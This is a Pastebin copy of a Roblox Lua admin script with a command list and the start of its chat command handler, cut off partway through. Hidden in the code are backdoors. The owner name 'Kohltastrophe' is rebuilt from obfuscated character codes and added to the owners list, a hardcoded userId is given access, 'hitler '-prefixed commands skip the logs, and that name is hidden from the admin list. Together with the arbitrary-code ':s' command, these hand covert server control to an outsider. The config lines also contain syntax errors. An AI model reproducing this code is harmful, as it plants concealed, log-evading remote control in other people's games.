kalinatorofdoom

Admin

Jul 8th, 2015
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 117.93 KB | None | 0 0
  1.  
  2.  
  3. local owners = {"TheDeathOfGodsBane"} -- Are able to set admins who can ban/etc... using :pa name
  4. local admins = {"TheDeathOfGodsBane,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
  5. local tempadmins = {austoo99} -- Sets admins who can't use ban/kick/admin or shutdown
  6. local banland = {"MasterKhaos,CompetitionAcid} -- Permanently Bans people
  7. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  8. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  9. -----------------
  10. -- Group Admin --
  11. -----------------
  12. local GroupAdmin = false -- If a certain group can have admin
  13. local GroupId = 0 -- Sets the group id that can have admin
  14. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  15. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  16. ---------------------
  17. -- Tips and Tricks --
  18. ---------------------
  19. --[[
  20. With this admin you can do a command on multiple people at a time;
  21. :kill me,noob1,noob2,random,team-raiders
  22.  
  23. You can also use a variety commands for different people;
  24. all
  25. others
  26. me
  27. team-
  28. admins
  29. nonadmins
  30. random
  31. --]]
  32. --------------
  33. -- Commands --
  34. --------------
  35. --[[
  36. -- Temp Admin Commands --
  37. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  38. 1. :s print("Hello World") -- Lets you script normally
  39. 2. :ls print("Hello World") -- Lets you script in localscripts
  40. 3. :clear -- Will remove all scripts/localscripts and jails
  41. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  42. 5. :kill kohl -- Kills the player
  43. 6. :respawn kohl -- Respawns the player
  44. 7. :trip kohl -- Trips the player
  45. 8. :stun kohl -- Stuns the player
  46. 9. :unstun kohl -- Unstuns the player
  47. 10. :jump kohl -- Makes the player jump
  48. 11. :sit kohl -- Makes the player sit
  49. 12. :invisible kohl -- Makes the player invisible
  50. 13. :visible kohl -- Makes the player visible
  51. 14. :explode kohl -- Makes the player explode
  52. 15. :fire kohl -- Sets the player on fire
  53. 16. :unfire kohl -- Removes fire from the player
  54. 17. :smoke kohl -- Adds smoke to the player
  55. 18. :unsmoke kohl -- Removes smoke from the player
  56. 19. :sparkles kohl -- Adds sparkles to the player
  57. 20. :unsparkles kohl -- Removes sparkles from the player
  58. 21. :ff kohl -- Adds a forcefield to the player
  59. 22. :unff kohl -- Removes the forcefield from the player
  60. 23. :punish kohl -- Punishes the player
  61. 24. :unpunish kohl -- Unpunishes the player
  62. 25. :freeze kohl -- Freezes the player
  63. 26. :thaw kohl -- Thaws the player
  64. 27. :heal kohl -- Heals the player
  65. 28. :god kohl -- Makes the player have infinite health
  66. 29. :ungod kohl -- Makes the player have 100 health
  67. 30. :ambient .5 .5 .5 -- Changes the ambient
  68. 31. :brightness .5 -- Changes the brightness
  69. 32. :time 12 -- Changes the time
  70. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  71. 34. :fogend 100 -- Changes the fogend
  72. 35. :fogstart 100 -- Changes the fogstart
  73. 36. :removetools kohl -- Removes all tools from the player
  74. 37. :btools kohl -- Gives the player building tools
  75. 38. :give kohl sword -- Gives the player a tool
  76. 39. :damage kohl -- Damages the player
  77. 40. :grav kohl -- Sets the player's gravity to normal
  78. 41. :setgrav kohl 100 -- Sets the player's gravity
  79. 42. :nograv kohl -- Makes the player have 0 gravity
  80. 43. :health kohl 1337 -- Changes the player's health
  81. 44. :speed kohl 1337 -- Changes the player's walkspeed
  82. 45. :name kohl potato -- Changes the player's name
  83. 46. :unname kohl -- Remove the player's name
  84. 47. :team kohl Raiders -- Changes the player's team
  85. 48. :stopmusic -- Will stop all music playing in the server
  86. 49. :teleport kohl potato -- Teleports the player
  87. 50. :change kohl kills 1337 -- Changes a player's stat
  88. 51. :kick kohl -- Removes the player from the game
  89. 52. :infect kohl -- Turns the player into a zombie
  90. 53. :rainbowify kohl -- Turns the player into a rainbow
  91. 54. :flashify kohl -- Turns the player into a strobe
  92. 55. :noobify kohl -- Turns the player into a noob
  93. 56. :ghostify kohl -- Turns the player into a ghost
  94. 57. :goldify kohl -- Turns the player into gold
  95. 58. :shiny kohl -- Makes the player shiny
  96. 59. :normal kohl -- Puts the player back to normal
  97. 60. :trippy kohl -- Spams random colors on the player's screen
  98. 61. :untrippy kohl -- Untrippys the player
  99. 62. :strobe kohl -- Spams white and black on the player's screen
  100. 63. :unstrobe kohl -- Unstrobes the player
  101. 64. :blind kohl -- Blinds the player
  102. 65. :unblind kohl -- Unblinds the player
  103. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  104. 67. :fling kohl -- Flings the player
  105. 68. :seizure kohl -- Puts the player in a seizure
  106. 69(lol). :music 1337 -- Plays a sound from the ID
  107. 70. :lock kohl -- Locks the player
  108. 71. :unlock kohl -- Unlocks the player
  109. 72. :removelimbs kohl -- Removes the player's limbs
  110. 73. :jail kohl -- Puts the player in a jail
  111. 74. :unjail kohl -- Removes the jail from the player
  112. 75. :fix -- This will fix the lighting to it's original settings
  113. 76. :fly kohl -- Makes the player fly
  114. 77. :unfly kohl -- Removes fly from the player
  115. 78. :noclip kohl -- Makes the player able to noclip
  116. 79. :clip kohl -- Removes noclipping from the player
  117. 80. :pm kohl Hey bro -- Sends the player a private message
  118. 81. :dog kohl -- Turns the player into a dog
  119. 82. :undog kohl -- Turns the player back to normal
  120. 83. :creeper kohl -- Turns the player into a creeper
  121. 84. :uncreeper kohl -- Turns the player back to normal
  122. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  123. 86. :char kohl 261 -- Will make a player look like a different player ID
  124. 87. :unchar kohl -- Will return the player back to normal
  125. 88. :h Hello People -- This will shout a hint to everyone
  126. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  127. 90. :starttools kohl -- Will give the player starter tools
  128. 91. :sword kohl -- Will give the player a sword
  129. 92. :bighead kohl -- Will make the player's head larger than normal
  130. 93. :minihead kohl -- Will make the player's head smaller than normal
  131. 94. :insert 1337 -- Will insert a model at the speaker's position
  132. 95. :disco -- Will make the server flash random colors
  133. 96. :flash -- Will make the server flash
  134. 97. :admins -- Shows the admin list
  135. 98. :bans -- Shows the banlist
  136. 99. :musiclist -- Shows the music list
  137. 100. :spin kohl -- Spins the player
  138. 101. :cape kohl Really black -- Gives the player a colored cape
  139. 102. :uncape kohl -- Removes the player's cape
  140. 103. :loopheal kohl -- Will constantly heal the player
  141. 104. :loopfling kohl -- Will constantly fling the player
  142. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  143. 106. :unloopheal kohl -- Will remove the loopheal on the player
  144. 107. :unloopfling kohl -- Will remove the loopfling on the player
  145. 108. :unspin kohl -- Removes spin from the player
  146. 109. :tools -- Gives a list of the tools in the lighting
  147. 110. :undisco -- Removes disco effects
  148. 111. :unflash -- Removes flash effects
  149. 112. :resetstats kohl -- Sets all the stats of a player to 0
  150. 113. :gear kohl 1337 -- Gives a player a gear
  151. 114. :cmdbar -- Gives the speaker a command bar
  152. 115. :shirt kohl 1337 -- Changes the player's shirt
  153. 116. :pants kohl 1337 -- Changes the player's pants
  154. 117. :face kohl 1337 -- Changes the player's face
  155. 118. :swagify kohl -- Swagifies the player
  156. 119. :version -- Shows the current version of the admin
  157.  
  158. -- Super Admin Commands --
  159. - :serverlock -- Locks the server
  160. - :serverunlock -- Unlocks the server
  161. - :sm Hello World -- Creates a system message
  162. - :crash kohl -- Crashes a player
  163. - :admin kohl -- Admins a player
  164. - :unadmin kohl -- Unadmins a player
  165. - :ban kohl -- Bans a player
  166. - :unban kohl -- Unbans a player
  167. - :loopkill kohl -- Will constantly kill the player
  168. - :unloopkill kohl -- Will remove the loopkill on the player
  169. - :logs -- Will show all of the commands any admin has used in a game session
  170. - :shutdown -- Shutsdown the server
  171.  
  172. -- Owner Commands --
  173. - :pa kohl -- Makes someone a super admin
  174. - :unpa kohl -- Removes a super admin
  175. --]]
  176. -----------------
  177. -- Main Script --
  178. -----------------
  179. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  180.  
  181. function CHEESE()
  182. if game:service("Lighting"):findFirstChild("KACV2") then
  183. owners = {} admins = {} tempadmins = {} banland = {}
  184. for i,v in pairs(game.Lighting.KACV2:children()) do
  185. if v.Name == "Owner" then table.insert(owners, v.Value) end
  186. if v.Name == "Admin" then table.insert(admins, v.Value) end
  187. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  188. if v.Name == "Banland" then table.insert(banland, v.Value) end
  189. if v.Name == "Prefix" then prefix = v.Value end
  190. if v.Name == "FunCommands" then FunCommands = v.Value end
  191. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  192. if v.Name == "GroupId" then GroupId = v.Value end
  193. if v.Name == "GroupRank" then GroupRank = v.Value end
  194. end
  195. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  196. end
  197.  
  198. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  199. local lobjs = {}
  200. local objects = {}
  201. local logs = {}
  202. local nfs = ""
  203. local slock = false
  204.  
  205. function GetTime()
  206. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  207. if min < 10 then min = "0"..min end
  208. return hour..":"..min
  209. end
  210.  
  211. function ChkOwner(str)
  212. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  213. return false
  214. end
  215.  
  216. function ChkAdmin(str,ck)
  217. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  218. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  219. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  220. return false
  221. end
  222.  
  223. function ChkGroupAdmin(plr)
  224. if GroupAdmin then
  225. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  226. return false
  227. end
  228. end
  229.  
  230. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  231.  
  232. function GetPlr(plr, str)
  233. local plrz = {} str = str:lower()
  234. if str == "all" then plrz = game.Players:children()
  235. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  236. else
  237. local sn = {1} local en = {}
  238. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  239. for x = 1, #sn do
  240. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  241. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  242. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  243. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  244. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  245. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  246. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  247. end end end
  248. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  249. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  250. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  251. end end end
  252. else
  253. for a, plyr in pairs(game.Players:children()) do
  254. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  255. table.insert(plrz, plyr) break
  256. end
  257. end
  258. end
  259. end
  260. end
  261. return plrz
  262. end
  263.  
  264. function Hint(str, plrz, time)
  265. for i, v in pairs(plrz) do
  266. if v and v:findFirstChild("PlayerGui") then
  267. coroutine.wrap(function()
  268. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  269. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  270. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  271. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  272. if not time then wait((#str/19)+2.5) else wait(time) end
  273. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  274. end)()
  275. end
  276. end
  277. end
  278.  
  279. function Message(ttl, str, scroll, plrz, time)
  280. for i, v in pairs(plrz) do
  281. if v and v:findFirstChild("PlayerGui") then
  282. coroutine.resume(coroutine.create(function()
  283. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  284. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  285. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  286. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  287. scr.Parent = v.PlayerGui
  288. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  289. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  290. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  291. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  292. end))
  293. end
  294. end
  295. end
  296.  
  297. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  298. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  299.  
  300. function Output(str, plr)
  301. coroutine.resume(coroutine.create(function()
  302. local b, e = loadstring(str)
  303. if not b and plr:findFirstChild("PlayerGui") then
  304. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  305. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  306. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  307. return
  308. end
  309. end))
  310. end
  311.  
  312. function Noobify(char)
  313. if char and char:findFirstChild("Torso") then
  314. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  315. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  316. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  317. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  318. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  319. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  320. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  321. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  322. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  323. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  324. end end
  325. end
  326. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  327.  
  328. function Infect(char)
  329. if char and char:findFirstChild("Torso") then
  330. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  331. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  332. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  333. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  334. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  335. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  336. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  337. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  338. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  339. end end
  340. end
  341. end if not ntab then script:Destroy() end
  342.  
  343. function ScrollGui()
  344. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  345. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  346. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  347. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  348. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  349. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  350. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  351. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  352. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  353. local num = 0
  354. local downv = false
  355. local upv = false
  356.  
  357. down.MouseButton1Down:connect(function() downv = true upv = false
  358. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  359. repeat pos = pos + UDim2.new(0,0,0,-6)
  360. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  361. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  362. end)
  363. down.MouseButton1Up:connect(function() downv = false end)
  364. up.MouseButton1Down:connect(function() upv = true downv = false
  365. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  366. repeat pos = pos + UDim2.new(0,0,0,6)
  367. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  368. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  369. end)
  370. up.MouseButton1Up:connect(function() upv = false end)
  371. return scr, cmf, ent, num
  372. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  373. if not ntab then script:Destroy() end
  374. if not bct then script:Destroy() end
  375.  
  376. function Chat(msg,plr)
  377. coroutine.resume(coroutine.create(function()
  378. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  379. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  380. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  381. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  382. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  383. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  384. if msg:lower() == "cmds" or msg:lower() == "commands" then
  385. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  386. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  387. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  388. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  389. local ost = {"pa plr","unpa plr"}
  390. local tost = {"oa plr","unoa plr"}
  391. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  392. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  393. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  394. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  395. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  396. end
  397.  
  398. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  399.  
  400. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  401. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  402. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  403. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  404. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  405. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  406. end end
  407.  
  408. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  409. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  410. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  411. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  412. end
  413.  
  414. if msg:lower() == "tools" or msg:lower() == "toollist" then
  415. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  416. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  417. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  418. end
  419.  
  420. if msg:lower():sub(1,2) == "s " then
  421. coroutine.resume(coroutine.create(function()
  422. Output(msg:sub(3), plr)
  423. if script:findFirstChild("ScriptBase") then
  424. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  425. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  426. else loadstring(msg:sub(3))()
  427. end
  428. end))
  429. end
  430.  
  431. if msg:lower():sub(1,3) == "ls " then
  432. coroutine.resume(coroutine.create(function()
  433. if script:findFirstChild("LocalScriptBase") then
  434. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  435. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  436. end
  437. end))
  438. end
  439.  
